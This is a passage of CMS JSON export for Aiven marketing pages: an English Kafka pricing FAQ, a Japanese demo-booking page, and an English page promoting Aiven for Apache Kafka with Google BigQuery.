all-inclusive so you never get end-of-the-month surprises.","variant":"header-left"},{"_key":"243e064e6dd6","_type":"accordion","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"isFaqAccordion":true,"items":[{"_key":"2028a9442ff4","_ref":"53d60c8d-d7b6-4ed4-8722-4b4d4ae1a204","_type":"reference"},{"_key":"66e5f5549145","_ref":"0e804db0-a866-4abd-827f-4958881bf05b","_type":"reference"},{"_key":"5ec5ec5a8262","_type":"accordionItem","id":"benefits","panelText":[{"_key":"10d14552b37d","_type":"block","children":[{"_key":"e3262459a0620","_type":"span","marks":[],"text":"Apache Kafka® Connect: with Aiven for Apache Kafka® service, Kafka Connect is included only in Business and Premium plans."}],"markDefs":[{"_key":"d7afc302a144","_type":"internalLink","internalLink":{"_ref":"17d882dc-fcff-4bab-b539-c811e713bfa7","_type":"reference"}}],"style":"normal"},{"_key":"89224d271151","_type":"block","children":[{"_key":"fe22760da626","_type":"span","marks":[],"text":"\nExtra support: all accounts include basic email and chat support. Three additional support tiers are available for an added fee: Priority, Business, and Enterprise. Different tiers consist of a mix of phone support, twelve (12) hour support and technical account management depending on the level of commitment. Learn more about "},{"_key":"ebddc9c212c1","_type":"span","marks":["d7afc302a144"],"text":"support response times and plans"},{"_key":"9efa2bfcd023","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"d7afc302a144","_type":"internalLink","internalLink":{"_ref":"17d882dc-fcff-4bab-b539-c811e713bfa7","_type":"reference"}}],"style":"normal"}],"title":"What benefits do I get if I start with the smallest Hobbyist plan and upgrade later?"},{"_key":"4a2e2ee974e6","_type":"accordionItem","id":"cloud-provider-kafka","panelText":[{"_key":"0174a71d25ea","_type":"block","children":[{"_key":"e367f628d6f90","_type":"span","marks":[],"text":"Yes, whether you choose to migrate to a new cloud provider or just a new region within the same provider, the migration happens in the background and doesn't affect your service until the service has been rebuilt at the new cloud region."}],"markDefs":[],"style":"normal"}],"title":"Can I change cloud provider on the go for my Aiven for Apache Kafka®?"},{"_key":"ccf6b222623d","_ref":"4c91f07f-4290-4cd1-ba29-e87509e538f5","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"FAQ"},{"_key":"0b917158dc2f","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"be99843269e9","_ref":"3GV8UOjSgQ2OqimWnSlLCc","_type":"reference"},{"_key":"662d7f8aef97","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"a0d9c1c3-d9db-4505-9be9-2cdc41f78178","_type":"reference"},"title":"Calculate savings"},"image":{"_type":"mainImage","asset":{"_ref":"image-86750f6c428dd10568c02e99ed26c74f21468f6e-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"39e95b612260","_type":"block","children":[{"_key":"9d6cf793a8ed0","_type":"span","marks":[],"text":"Find out how much you'll save when Aiven handles your data infrastructure."}],"markDefs":[],"style":"normal"}],"tagline":"Business Value Calculator","title":"Calculate how much you can save choosing Aiven","variant":"default"},{"_key":"69541455ec02","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/pricing?tab=plan-comparison\u0026product=kafka","title":"See plan comparison"},"image":{"_type":"mainImage","asset":{"_ref":"image-606a17bc642d3351db8987ffb1c6089316d80235-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"d52c37f3328e","_type":"block","children":[{"_key":"475f6b6e689b0","_type":"span","marks":[],"text":"What’s included in the price of each Aiven for Apache Kafka® plan? See Plan Comparison for more details."}],"markDefs":[],"style":"normal"}],"tagline":"Pricing","title":"Compare Aiven for Apache Kafka® plans","variant":"default"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Explore more of the Aiven for Apache Kafka® pricing"}],"resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61d06542-93ca-4a1b-b925-69b3a7c6285d","_type":"reference"},"tags":[{"_key":"515ee742f5c5","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Find your best Aiven for Apache Kafka® plan and calculate your monthly starting price.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-f08a3d47be244e37c9eae371f4fad50ce8757b78-1200x628-jpg","_type":"reference"}},"metaTitle":"Find an Aiven for Apache Kafka® plan that fits you"},"slug":{"_type":"slug","current":"/kafka-plan-finder"},"title":"Kafka Plan Finder"} {"__i18n_base":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2022-08-08T12:25:57Z","_id":"8930abef-2819-4638-b11a-a3a2e33e18ff__i18n_ja","_rev":"w5Y1buu43ZclY4xZZplqXO","_type":"page","_updatedAt":"2025-01-08T15:18:12Z","content":[{"_key":"5f210115780e9342634f95a654600691","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"headerPosition":"left","iframeHeight":850,"iframeSource":"https://go.aiven.io/l/890043/2023-11-16/tbkwx","iframeTitle":"下記のフォームに必要事項をご記入ください","isPardotForm":true,"noSpaceBottom":false,"noSpaceTop":false,"pardotFormType":"demo","rounded":false,"subtitle":[{"_key":"fc090cf6ce52","_type":"block","children":[{"_key":"c8626eb9537e0","_type":"span","marks":[],"text":"お客様がご興味のあるオープンソースデータマネジメントテクノロジーやAivenプラットフォームを30分のデモでご紹介します。"}],"markDefs":[],"style":"normal"},{"_key":"3ab82b21b5d6","_type":"block","children":[{"_key":"02b5a6a033320","_type":"span","marks":[],"text":"実際に、デモをご覧になり、Aivenが、どのように貴社のデータプラットフォーム構築にお役に立てるかを確認してみてください。"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4a5754ff8af0","_type":"block","children":[{"_key":"fdeef8e36ad3","_type":"span","marks":[],"text":"Aivenプラットフォームがお客様のプロジェクトをどのようにご支援できるかをご説明します。"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8b13067403d0","_type":"block","children":[{"_key":"cc21ce6d08310","_type":"span","marks":[],"text":"ぜひ、デモの日時をご予約ください。お待ちしております。"}],"markDefs":[],"style":"normal"},{"_key":"cfb81c5a97a8","_type":"block","children":[{"_key":"baf10582d624","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"tagline":"デモの日時を予約する","title":"マネージドオープンソースデータベースのパワーを引き出す","titleAsH1":true},{"_key":"658c8e80d788c7f8e6a97b9baaf19ee8","_type":"numberList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"numbers":[{"_key":"6b7affd93be6","_type":"numberItem","description":[{"_key":"f36217212f70","_type":"block","children":[{"_key":"cef05939b0f5","_type":"span","marks":[],"text":"AivenによってマネージされているConrad Electronic社の1時間あたりのリクエスト数"}],"markDefs":[],"style":"normal"}],"number":"1120万"},{"_key":"4f393798f3e0","_type":"numberItem","description":[{"_key":"d3b41d2247ff","_type":"block","children":[{"_key":"1c7920aaee8d","_type":"span","marks":[],"text":"Aivenを利用することで削減されたMirakl社のインフラ総所有コスト"}],"markDefs":[],"style":"normal"}],"number":"70%"},{"_key":"d208898b2df4","_type":"numberItem","description":[{"_key":"993a4e7d82d9","_type":"block","children":[{"_key":"3f633e939d7e","_type":"span","marks":[],"text":"以前のプロバイダーと比較して、Aivenを利用することで削減されたDigital Asset Research社のApache Kafkaの費用"}],"markDefs":[],"style":"normal"}],"number":"25%"}],"roundedCorners":"rounded-tl","title":"お客様のビジネス価値の向上"},{"_key":"d301062d110ad8f4c474104f7d32e8aa","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"088e9c0e74c7","_type":"testimonialItem","content":[{"_key":"73cd0a34938f","_type":"block","children":[{"_key":"8ea2cc95ba6b0","_type":"span","marks":[],"text":"Supermetrics社のCTOであるDuleepa Wijayawardhana氏は、Aivenがどのようにクラウド間でデータをやり取りするのに役立っているか述べています(英語動画)。"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"04b8d980-f8cb-40c6-a6cb-54a2a9607e5a","_type":"reference"},"title":"お客様の事例を見る(英語)"},"ytId":"oQIjSwWxE14"}],"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"roundedCorners":"rounded-br","variant":"media"},{"_key":"edf8612f0ae3","_type":"serviceList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","compliance":[{"_key":"dab89735c7c1","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-1bdfde2875e6ddebd644205ed02f511116278f6a-40x40-svg","_type":"reference"}},"title":"ISO 20071"},{"_key":"e86ff01dd585","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-83778ee98c9e049769d003e7a753efa4b63a276b-40x40-svg","_type":"reference"}},"title":"SOC2"},{"_key":"6c396579ebae","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-a315c2be874b3ceebef8ad2dedd9e8ebf0735b66-40x40-svg","_type":"reference"}},"title":"HIPAA"},{"_key":"445e67dddf45","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-755a96d4bd3934033e98ac391d913265d09537af-40x40-svg","_type":"reference"}},"title":"PCI-DSS"},{"_key":"f5c2d3620022","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-203403621ac80cf3125943af581ab051cfe3b2fc-40x40-svg","_type":"reference"}},"title":"GDPR"}],"disabled":false,"fullWidth":false,"hostProviders":[{"_key":"5ed744b5ca9f","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"62b6c95863a7","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"7f265ef0a081","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"d9062b8ca457","_ref":"2c2f2baa-24b0-4b7a-812b-bed3f20f2030","_type":"reference"},{"_key":"08440570e890","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"},{"_key":"2aa30e33f767","_ref":"9039a507-d3b4-402a-964b-6fa829d56ef8","_type":"reference"}],"identity":[{"_key":"14519b173fb0","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-bfecfc8de4d85a1158a972c01b27b11bbd524dd7-512x512-png","_type":"reference"}},"title":"SAML"},{"_key":"b69a7f2861b8","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-7ca00d77106a3a3e685189391226e0a369971d49-512x512-png","_type":"reference"}},"title":"Okta"},{"_key":"53fa429a011d","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-cf4caddee0c6423b881728ae13d5e028bac6ee1a-462x462-png","_type":"reference"}},"title":"OneLogin"},{"_key":"42012914674c","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-6ea6284e995c0582493b818cbddd45f5b331204c-512x512-png","_type":"reference"}},"title":"Azure AD"}],"integrations":[{"_key":"f018430089a8","_ref":"22d8ccfb-b77c-4029-94c0-c7519397935a","_type":"reference"},{"_key":"ab4a980906a9","_ref":"6b6199d0-5ca3-421d-91df-82fb15688d28","_type":"reference"},{"_key":"4b0f08149e84","_ref":"2ba1dfda-6041-4ac9-b258-085aa41ebfa1","_type":"reference"},{"_key":"322fefc81c31","_ref":"beb356d4-e5a4-4c9c-abfa-9f58e3d9cebc","_type":"reference"},{"_key":"665b01bc00d5","_ref":"fb7167db-3a21-49ad-836b-c1b8b34eaa77","_type":"reference"},{"_key":"4f5f64f581ea","_ref":"5965cdaa-ee18-4090-a084-62463619b757","_type":"reference"},{"_key":"08c8925f1131","_ref":"ab20f261-f294-45ca-8289-e369255c7366","_type":"reference"},{"_key":"97109d741692","_ref":"db1c8e5c-df2f-48b1-aae4-852962d61aeb","_type":"reference"},{"_key":"5ff84b30961b","_ref":"98cebc13-16ae-42db-a6de-4458949c0dc3","_type":"reference"},{"_key":"7579b3f1cfd3","_ref":"76a88a82-92c9-409d-9f30-30207c9ba701","_type":"reference"},{"_key":"d2a10870e41f","_ref":"5007821b-436e-4ebb-8a07-242c4a5f7448","_type":"reference"},{"_key":"d37b43d7a702","_ref":"157b3267-4eb0-49eb-ad17-537d5a95772d","_type":"reference"},{"_key":"a4ede70da1ba","_ref":"4bed5fe2-e20e-4edc-b54b-5bb47e9fd982","_type":"reference"},{"_key":"48ddd1b7bb9b","_ref":"4b76ba83-b8b9-4f4e-b04f-670c2994ce1e","_type":"reference"}],"managed":[{"_key":"75141a794561","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-380123baa06f9ca6bb46fe482bdcc97c47209fa5-40x40-svg","_type":"reference"}},"title":"24時間365日のエンタープライズサポートオプション"},{"_key":"660e41edc7a5","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-8474ceba50fe54d50d2670a9c9addbaa3cda6c3a-40x40-svg","_type":"reference"}},"title":"99,99%アップタイム"},{"_key":"efb657c8dfba","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-e78c0cfc10eb10e0f1755722c4e90bca06cb515b-40x40-svg","_type":"reference"}},"title":"高可用性"},{"_key":"9ce25b8db522","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-9c38e4da11ad04c0092f9636f7a9fd83031bd77d-40x40-svg","_type":"reference"}},"title":"5 つ以上のクラウドと 100 以上のリージョン"},{"_key":"d669a088fcfd","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-9b722bb976b2ca9767d6e95bbe71206a156c84f8-40x40-svg","_type":"reference"}},"title":"自動バックアップ"}],"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"securityNetwork":[{"_key":"76f5435e0661","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-c195dd4a51d06e7435afd3a72c230871cb99de24-40x40-svg","_type":"reference"}},"title":"転送中および保管中のデータの暗号化"},{"_key":"a7ce68020acc","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-7129481004ef88ea22a8c2f6a2c7daaf7126bb9a-40x40-svg","_type":"reference"}},"title":"専用の仮想マシン"},{"_key":"1f614bda5a63","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-cf142cafaab2b83bf2b2fa991a3a582da04545b1-40x40-svg","_type":"reference"}},"title":"自動セキュリティアップデート"},{"_key":"f54bc92a67dc","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-4101100615713e748e9a72604adb0a26b86ab150-40x40-svg","_type":"reference"}},"title":"VPCピアリング"},{"_key":"6d39e2fed33c","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-f3ffa2a39382f848d72e84cb80bda5c8df0c4088-40x40-svg","_type":"reference"}},"title":"Private-link"},{"_key":"6b4939c635b2","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-e5612d6f4c1fce0ace581f6e2b1ff516f266ee26-40x40-svg","_type":"reference"}},"title":"Transit-gateway"}],"services":[{"_key":"1dc393f47e8e","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"2f8457e37a31","_ref":"1e5afeea-8442-4a65-84fd-5475f78e09b3","_type":"reference"},{"_key":"1b82a6101970","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"f65ba90326c6","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"reference"},{"_key":"43a061dc9740","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"reference"},{"_key":"17158066273c","_ref":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_type":"reference"},{"_key":"ecfa41002829","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"52ef265c2f47","_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"reference"},{"_key":"611556a2714c","_ref":"c6ff24d7-20df-4041-a816-2f7f934c0b80","_type":"reference"},{"_key":"b4585e38fe68","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"reference"}],"subtitle":[{"_key":"e68cc451ed07","_type":"block","children":[{"_key":"e63d1afb0a0a0","_type":"span","marks":[],"text":"オールインワンのAivenクラウドデータプラットフォームは、主要なクラウドプロバイダー上で、お客様が使用するデータサービスに接続するために必要なすべてのツールを兼ね備えています。"}],"markDefs":[],"style":"normal"}],"title":"Aivenとは?","tools":[{"_key":"b76ed0a24415","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"reference"},{"_key":"c2a259174c8b","_ref":"2c9ddba5-c82b-4166-95c8-22f314164f97","_type":"reference"},{"_key":"db59694de247","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"reference"},{"_key":"b9e3d0955b1d","_ref":"7179878d-2860-4cc5-a30e-a1e24b236517","_type":"reference"}]},{"_key":"e710825f0337","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"rounded":false,"secondaryCTA":{"_type":"link","internalLink":{"_ref":"16b06c52-bdff-4f7c-90f7-f564e1faac21__i18n_ja","_type":"reference"},"title":"貴社に合ったプランを探す"},"tagline":"Aivenプラットフォームを無料で試す","text":[{"_key":"af7d97c6b13b","_type":"block","children":[{"_key":"c46a4767394b","_type":"span","marks":[],"text":"PostgreSQL、Redis、MySQLは無料プランが利用可能"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f8f70f65ca4f","_type":"block","children":[{"_key":"7e20cff33f5d","_type":"span","marks":[],"text":"30日間の無料トライアル"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5e187380622c","_type":"block","children":[{"_key":"5939163ce462","_type":"span","marks":[],"text":"$300分の無料枠を使用可能"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a9d55af0544c","_type":"block","children":[{"_key":"d0940565948f","_type":"span","marks":[],"text":"Aivenがマネージするオープンソースサービス全般への無制限アクセス"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9ff02827dd65","_type":"block","children":[{"_key":"a478fae14bb90","_type":"span","marks":[],"text":"無料トライアル期間終了後も継続する場合は、サービスを使用した分だけをお支払いいただきます。それ以外の料金は発生しません。ボタンをクリックするだけで、クラスタのシャットダウンとスピンアップ、サービスの追加、プロバイダーの変更が可能です。"}],"markDefs":[],"style":"normal"}],"title":"わずか10分でサービスの設定が完了","variant":"mediaLeft","ytId":"KE3_X8iszos"}],"modals":[{"_key":"143ba93fc421","_ref":"8ef8d8e4-702b-4e6d-8f4c-08042c1c53f4","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aivenのデモをご覧いただき、オールインワンのデータインフラストラクチャプラットフォームについて理解を深めてください。時間を節約し、ビジネスを変革する方法をご確認ください。","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d5aeed21a61ecdc16bc7f53357ecad5fac4feaba-1200x630-jpg","_type":"reference"}},"metaTitle":"デモを見る | Aiven - Data infrastructure made simple"},"slug":{"_type":"slug","current":"/book-demo"},"title":"デモを見る"} {"__i18n_lang":"en","_createdAt":"2023-07-27T10:27:52Z","_id":"60075e9d-4238-4aef-a150-23f194aa6883","_rev":"jvX45fVrMTONcXvY1jbB7Y","_type":"page","_updatedAt":"2024-10-08T14:05:04Z","content":[{"_key":"733e4a4ff81a58f202e7bbccae85e69a","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","description":[{"_key":"70ac622757c6","_type":"block","children":[{"_key":"826e5ea68bdb0","_type":"span","marks":[],"text":"Unify data from diverse sources and formats using Aiven for Apache Kafka for real time data streaming. Analyze with BigQuery for swift, accurate insights."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"Aiven for Apache Kafka, BigQuery, real time analytics, analytical workloads, Kafka, Apache Kafka, BigQuery integration","asset":{"_ref":"image-1c086f3536d201cb0d885fdefcd9eb8e5e8b6aaf-1800x743-jpg","_type":"reference"}},"imageSize":"large","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"Redeem free $300 credit","externalUrl":"https://console.aiven.io/signup","title":"Start your free trial"},"roundedCorners":"rounded-none","tagline":"Aiven for Apache Kafka \u0026 Google Cloud BigQuery","title":"Fast analytics with Aiven for Apache Kafka® and Google BigQuery","variant":"default"},{"_key":"aef1bb3dd0e1","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-cf42456a998b3003859e724ee166dc968d52fc4a-1440x367-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","columnOne":[{"_key":"0e9f791bcce1","_type":"block","children":[{"_key":"2aba84074aac2","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"Redeem free $300 credit","externalUrl":"https://console.aiven.io/signup","title":"Start your free trial"},"roundedCorners":"rounded-b","subtitle":[{"_key":"ade208c29622","_type":"block","children":[{"_key":"8ea53d9f9e19","_type":"span","marks":[],"text":"With the combination of Aiven for Apache Kafka and Google Cloud BigQuery, you can easily: "}],"markDefs":[],"style":"normal"},{"_key":"4dccdab07344","_type":"block","children":[{"_key":"335b283707ca","_type":"span","marks":[],"text":"integrate Apache Kafka with a wide set of technologies as both source and sink connectors using a JSON configuration file"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c85cf5047b51","_type":"block","children":[{"_key":"1983259b5828","_type":"span","marks":[],"text":"push the Apache Kafka topics to BigQuery in streaming mode using the dedicated "},{"_key":"017f48db5673","_type":"span","marks":["861616892348"],"text":"sink connector"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"861616892348","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/gcp-bigquery-sink"}],"style":"normal"},{"_key":"2bd4eda79a82","_type":"block","children":[{"_key":"aee89ecd8fc0","_type":"span","marks":[],"text":"parse "},{"_key":"3e3d5ff2bdcf","_type":"span","marks":["a60c0d1e2fca"],"text":"nested datasets"},{"_key":"c8b01d7011c1","_type":"span","marks":[],"text":", apply complex "},{"_key":"04653a844715","_type":"span","marks":["b154ff8847a0"],"text":"geographical transformations"},{"_key":"99916943c252","_type":"span","marks":[],"text":" and even train and use "},{"_key":"b6d7c5850b05","_type":"span","marks":["8d0bb430877e"],"text":"machine learning models"},{"_key":"14717ea37a45","_type":"span","marks":[],"text":" with BigQuery's rich set of SQL functions"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a60c0d1e2fca","_type":"link","href":"https://cloud.google.com/bigquery/docs/reference/standard-sql/json_functions"},{"_key":"b154ff8847a0","_type":"link","href":"https://cloud.google.com/bigquery/docs/reference/standard-sql/geography_functions"},{"_key":"8d0bb430877e","_type":"link","href":"https://cloud.google.com/bigquery-ml/docs/introduction"}],"style":"normal"},{"_key":"b4116ac33717","_type":"block","children":[{"_key":"e78e26d2110e","_type":"span","marks":[],"text":"Get started through the "},{"_key":"862e046a02b5","_type":"span","marks":["1bc1401cad8b"],"text":"Google Cloud Marketplace"},{"_key":"46b54e2da353","_type":"span","marks":[],"text":" to unify billing and leverage your existing commitments."}],"markDefs":[{"_key":"1bc1401cad8b","_type":"link","href":"https://console.cloud.google.com/marketplace/product/aiven-public/aiven"}],"style":"normal"}],"tagline":"A streaming solution for fast analytics","title":"Develop fast analytics capabilities today","variant":"centerColumn"},{"_key":"fbb40eb5306a","_type":"logoList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":true,"grayscale":false,"hideItemLink":true,"logos":[{"_key":"339452d725d3","_ref":"5utWlioOZrHNbIEqvk34Pn","_type":"reference"},{"_key":"9325698302b8","_ref":"776ed73c-e4cd-4a39-8542-a086159e296d","_type":"reference"},{"_key":"b0ca222ad35a","_ref":"57a6DAKdLzRruiVEdAfNFW","_type":"reference"},{"_key":"fa5fd1f3eb61","_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},{"_key":"4210c496c80c","_ref":"17IOucz0A2afQRoggZvU06","_type":"reference"},{"_key":"c87e40364ebf","_ref":"Qi6syfOyHgBi7ehXtqDgB","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Trusted by industry leaders","variant":"logo"},{"_key":"1325a8019388","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-f54079283bdd01528368e5c4a6d02120052e91ca-3295x1724-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tertiaryCTA":{"_type":"link","internalLink":{"_ref":"52573ae1-b86a-4fca-9ad8-9893a5596585","_type":"reference"},"title":"Check the case study"},"text":[{"_key":"594b740f4a1d","_type":"block","children":[{"_key":"5573bdd420490","_type":"span","marks":["strong"],"text":"Fast-Growing Startup Hookdeck Powers Cloud Data Infrastructure with Aiven Services"}],"markDefs":[],"style":"normal"},{"_key":"b6b611d674ee","_type":"block","children":[{"_key":"1fe0057380940","_type":"span","marks":[],"text":"Discover how Hookdeck used Aiven for Apache Kafka® to deliver a highly available data streaming solution to transfer the data from PostgreSQL to BigQuery."}],"markDefs":[],"style":"normal"}],"title":"Hookdeck Case Study","variant":"mediaLeft"},{"_key":"80d6850c8c81","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"text":[{"_key":"5f60adf59837","_type":"block","children":[{"_key":"2d94e126f24f0","_type":"span","marks":[],"text":"Bring powerful event streaming to "},{"_key":"2d94e126f24f1","_type":"span","marks":["4174a82ee75c"],"text":"Google Cloud"},{"_key":"2d94e126f24f2","_type":"span","marks":[],"text":" through the Aiven for Apache Kafka ecosystem. Build data pipelines for BigQuery, AlloyDB or PostgreSQL and extend them with Aiven for Cassandra or Aiven for OpenSearch."}],"markDefs":[{"_key":"4174a82ee75c","_type":"link","href":"https://www.youtube.com/hashtag/googlecloud"}],"style":"normal"}],"title":"Build event streaming applications with Aiven and Google Cloud","variant":"mediaRight","ytId":"qGRDSfTgahc"},{"_key":"idd44159jy16x5ujfgmsew3t4dqi0ufo","_type":"serviceList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","compliance":[{"_key":"khemn0op8hakb2n9sv8b1dntqt80f3nb","_type":"textIconItem","icon":{"_type":"mainImage","alt":"ISO 27001 logo","asset":{"_ref":"image-1bdfde2875e6ddebd644205ed02f511116278f6a-40x40-svg","_type":"reference"}},"title":"ISO 27001 / 27017 / 27018 / 27701"},{"_key":"m6qt02evspktur6k65do2ixm6ie196ma","_type":"textIconItem","icon":{"_type":"mainImage","alt":"SOC2 logo","asset":{"_ref":"image-83778ee98c9e049769d003e7a753efa4b63a276b-40x40-svg","_type":"reference"}},"title":"SOC2"},{"_key":"oyy51hd1dwemi495jryqb2na324h0mm1","_type":"textIconItem","icon":{"_type":"mainImage","alt":"HIPAA logo","asset":{"_ref":"image-a315c2be874b3ceebef8ad2dedd9e8ebf0735b66-40x40-svg","_type":"reference"}},"title":"HIPAA"},{"_key":"9kvhdz3n175zwl7up118nnm0odbhljoy","_type":"textIconItem","icon":{"_type":"mainImage","alt":"PCI-DSS logo","asset":{"_ref":"image-755a96d4bd3934033e98ac391d913265d09537af-40x40-svg","_type":"reference"}},"title":"PCI-DSS"},{"_key":"kqi0bk486z6nb6z33e532q5m47bkj9ug","_type":"textIconItem","icon":{"_type":"mainImage","alt":"GDPR 